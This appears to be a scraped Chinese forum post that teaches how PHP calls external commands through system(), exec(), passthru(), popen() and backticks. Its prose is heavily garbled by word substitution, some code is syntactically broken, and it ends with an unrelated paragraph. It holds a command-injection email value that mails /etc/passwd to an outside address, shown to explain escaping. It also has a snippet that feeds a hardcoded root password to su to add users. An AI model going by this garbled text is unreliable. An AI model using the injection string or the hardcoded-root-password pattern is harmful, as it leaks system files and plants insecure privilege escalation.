|
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
基础这个东西是个比较笼统的概念,如果你之前学习过c语言, c语言被认为是履行 PHP作为一种办事器真个剧本言语,象编写复杂,或是庞杂的静态网页如许的义务,它完整可以胜任。但工作不老是如斯,有时为了完成某个功效,必需借助于操作体系的内部法式(或称之为号令),如许可以做到事半功倍。
那末,是不是可以在PHP剧本中挪用内部号令呢?假如能,若何去做呢?有些甚么方面的挂念呢?信任你看了本文后,一定可以回覆这些成绩了。
是不是可以?
谜底是一定的。PHP和其它的法式设计言语一样,完整可以在法式内挪用内部号令,而且是很复杂的:只需用一个或几个函数便可。
条件前提
因为PHP根基是用于WEB法式开辟的,所以平安性成了人们思索的一个主要方面。因而PHP的设计者们给PHP加了一个门:平安形式。假如运转在平安形式下,那末PHP剧本中将遭到以下四个方面的限制:
履行内部号令
在翻开文件时有些限制
毗连MySQL数据库
基于HTTP的认证
在平安形式下,只要在特定目次中的内部法式才可以被履行,对其它法式的挪用将被回绝。这个目次可以在php.ini文件顶用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默许是/usr/local/php/bin。
假如你挪用一个应当可以输入了局的内部号令(意思是PHP剧本没有毛病),失掉的倒是一片空白,那末极可能你的网管已把PHP运转在平安形式下了。
若何做?
在PHP中挪用内部号令,可以用以下三种办法来完成:
1) 用PHP供应的专门函数
PHP供应共了3个专门的履行内部号令的函数:system(),exec(),passthru()。
system()
原型:string system (string command [, int return_var])
system()函数很其它言语中的差不多,它履行给定的号令,输入和前往了局。第二个参数是可选的,用来失掉号令履行后的形态码。
例子:
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec()函数与system()相似,也履行给定的号令,但不输入了局,而是前往了局的最初一行。固然它只前往号令了局的最初一行,但用第二个参数array可以失掉完全的了局,办法是把了局逐行追加到array的开头处。所以假如array不是空的,在挪用之前最好用unset()最它清失落。只要指定了第二个参数时,才可以用第三个参数,用来获得号令履行的形态码。
例子:
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int return_var])
passthru()只挪用号令,不前往任何了局,但把号令的运转了局原样地直接输入到尺度输入装备上。所以passthru()函数常常用来挪用象pbmplus(Unix下的一个处置图片的东西,输入二进制的原始图片的流)如许的法式。一样它也能够失掉号令履行的形态码。
例子:
header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2) 用popen()函数翻开历程
下面的办法只能复杂地履行号令,却不克不及与号令交互。但有些时分必需向号令输出一些器材,如在增添Linux的体系用户时,要挪用su来把以后用户换到root才行,而su号令必需要在号令行上输出root的暗码。这类情形下,用下面提到的办法明显是不可的。
popen()函数翻开一个历程管道来履行给定的号令,前往一个文件句柄。既然前往的是一个文件句柄,那末就能够对它读和写了。在PHP3中,对这类句柄只能做单一的操作形式,要末写,要末读;从PHP4入手下手,可以同时读和写了。除非这个句柄是以一种形式(读或写)翻开的,不然必需挪用pclose()函数来封闭它。
例子1:
$fp=popen("/bin/ls -l", "r");
?>
例子2(本例来自PHP中国同盟网站http://www.phpx.com/show.php?d=col&i=51):
/* PHP中若何增添一个体系用户
上面是一段例程,增添一个名字为james的用户,
root暗码是 verygood。仅供参考
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3) 用反撇号(`,也就是键盘上ESC键上面的谁人,和~在统一个下面)
这个办法之前没有归入PHP的文档,是作为一个秘技存在的。办法很复杂,用两个反撇号把要履行的号令括起来作为一个表达式,这个表达式的值就是号令履行的了局。如:
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
这个剧本的输入就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要思索些甚么?
要思索两个成绩:平安性和超时。
先看平安性。好比,你有一家小型的网上商铺,所以可以出售的产物列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输出他们的EMAIL地址,然后把这个产物列表发给他们。假定你没有利用PHP的mail()函数(或从未传闻过),你就挪用Linux/Unix体系的mail法式来发送这个文件。法式就象如许:
system("mail $to < products.txt");
echo "咱们的产物目次已发送到你的信箱:$to";
?>
用这段代码,普通的用户不会发生甚么风险,但实践上存在着十分大的平安破绽。假如有个歹意的用户输出了如许一个EMAIL地址:
'--bla ; mail someone@domain.com < /etc/passwd ;'
那末这条号令终究酿成:
'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'
我信任,不管哪一个收集办理人员见到如许的号令,城市吓出一身盗汗来。
幸亏,PHP为咱们供应了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中一切能够瞒过Shell而去履行别的一个号令的字符本义。这些字符在Shell中是有特别寄义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处置号令的参数的。它在给定的字符串双方加上单引号,并把字符串中的单引号本义,如许这个字符串就能够平安地作为号令的参数。
再来看看超时成绩。假如要履行的号令要消费很长的工夫,那末应当把这个号令放到体系的后台去运转。但在默许情形下,象system()等函数要比及这个号令运转完才前往(实践上是要等号令的输入了局),这一定会引发PHP剧本的超时。处理的举措是把号令的输入重定向到别的一个文件或流中,如:
system("/usr/local/bin/order_proc > /tmp/null &");
?> PHP和HTML混合编程应该不成问题,在这期间,你完全可以让PHP给你算算 一加一等于几,然后在浏览器输出,不要觉得幼稚,这的确是跟阿波罗登月一样,你打的是一小段代码,但是对于你的编程之路,可是迈出了一大步啊!兴奋吧?但是不得不再给你泼点冷水,您还是菜鸟一个。 |
|